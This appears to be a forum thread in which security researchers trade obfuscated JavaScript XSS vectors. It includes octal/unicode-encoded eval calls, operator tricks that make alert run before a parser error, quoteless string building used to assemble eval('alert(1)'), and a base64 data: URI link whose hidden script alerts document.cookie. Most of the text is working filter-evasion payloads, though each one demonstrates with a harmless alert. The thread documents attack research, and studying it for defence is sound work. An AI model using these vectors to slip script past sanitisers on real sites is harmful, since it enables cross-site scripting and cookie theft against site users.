Hehe you been hacking my blog :) ?

Nope, I never hack any friends site, thats the truth.

i did notice that some post did not came through, it with the htmlenties post, I was talking about htmlentities works in the PHP source. But, obviously it was gone and too lazy to type again.

For truly unreadable Javascript combine octal and unicode :D

\u0031+\u0031\u005b'\145\166\141\154'\u005d\u0028'\141\154\145\162\164\50\61\51'\u0029

which translates to FF only:-
1+1['eval']('alert(1)')

Here's the Hackvertor vector for creating it:-
<@uni>1<@/uni> + <@uni>1<@/uni><@uni>[<@/uni>'<@oct>eval<@/oct><@oct><@/oct>'<@uni>]<@/uni><@uni>(<@/uni>'<@oct>alert(1)<@/oct>'<@uni>)<@/uni>

odd!

Gotta love it. http://ha.ckers.org

alert(1)/alert(2) works too. Two commands for the price of one!

EDIT

Also, is this normal behavior?

alert(1)[alert(2)]

Here's why I think Javascript allows these invalid vectors.

It can't raise an error first without running the function code, so the parser has to perform the function to check the returned amount. Only when the process is complete does javascript raise an error.

These for example don't raise errors:-
function x() {
alert(1);
return 1;
}
1;1/x();+-x();~x()

Yep - at least spidermonkey must act that way. I noticed in several vectors that an alert was executed and after the execution the parser told me that alert wasn't defined. Weird.

<edit>
Ah and btw - someday I'd just like to have a look inside the parser sources to check how the hell it differentiates between comparision-operators, bit-operators and xml predicates...



(1<<1>>alert(2)<<1>>1)
(1<1>alert(false)<1>1)
alert(<a>alert(false)</a>)

alert(1)-alert(/two/)
[-alert(1)]
[~alert(1)] --> writes -1 instead of NaN.
-Math.abs[(+alert(/boo/))]

Dunno if any of this stuff is new, what's the best way for checking whether it's new or not?

This new?

javascript:/I am:/+alert(/1234/)

-Spyware | [bitsofspy.net]

Mostly just cause they look cool:

x={}
x[/\\/]=!/\\/?/\\/:alert
x[/\\/].valueOf()(1)

and a variation...

x=[]
x[{}]=!/\\/?[]:alert
x[{}].valueOf()(1)

-Dan

x=[]
x[{}]=!/\\/?{}:eval
x[/\\/]=(/:/)[-0]?{}:(/al/)[-1]
x[/\\/]+=!/\\/?{}:(/ert/)[-1]
x[{}].valueOf()(x[/\\/]+(/(1)/)[-1])

Check this! You can define strings quotelessly as so, (/string/)[-1]. Notice that the foreslashes don't turn up in the string! It was heavily inspired by Gareth's post on the previous page talking about making strings one character at a time using square brackets. And a new way to get false... (/anything/)[-2], which could be helpful for the ternary operator.

EDIT: you can even lose the parentheses. /string/[-1] will do. Single and double quotes can go between the slashes.

Hi,

I saw on a cheatsheet many variations of data:text and a href. But not this one.

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==">Test</a>


it works under FF: 2.0.0.10, doesn't: Opera 9.24, IE 6.0, 7.0

Okay, this one is a bit long and perhaps impractical, but cool nonetheless.
